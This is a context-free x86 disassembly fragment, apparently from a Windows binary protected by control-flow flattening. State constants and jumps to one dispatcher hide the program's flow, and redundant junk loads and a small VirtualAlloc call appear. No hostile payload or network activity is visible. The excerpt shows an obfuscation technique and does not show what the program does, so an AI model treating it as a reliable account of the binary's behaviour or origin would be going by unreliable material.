mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10019204]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x63840af7
jmp 0x1000c3ab
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100191c4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100191c0]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xc0067050
jmp 0x1000c3ab
mov dword [ebp - 0x10c], 0x5b12b037
jmp 0x1000c3ab
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100191bc]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xc4f2c26b
jmp 0x1000c3ab
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100191b0]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x820c97d6
jmp 0x1000c3ab
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100191a4]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x7bb19247
jmp 0x1000c3ab
mov dword [ebp - 0x10c], 0xe68ecec7
jmp 0x1000c3ab
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10c], 0xd45f5857
jmp 0x1000c3ab
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x10c], 0xcdd8a05d
jmp 0x1000c3ab
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x10c], 0x19f7ba3e
jmp 0x1000c3ab
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x10c], 0x56143dbe
jmp 0x1000c3ab
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x10c], 0x35dd976e
jmp 0x1000c3ab
jmp 0x10003b4f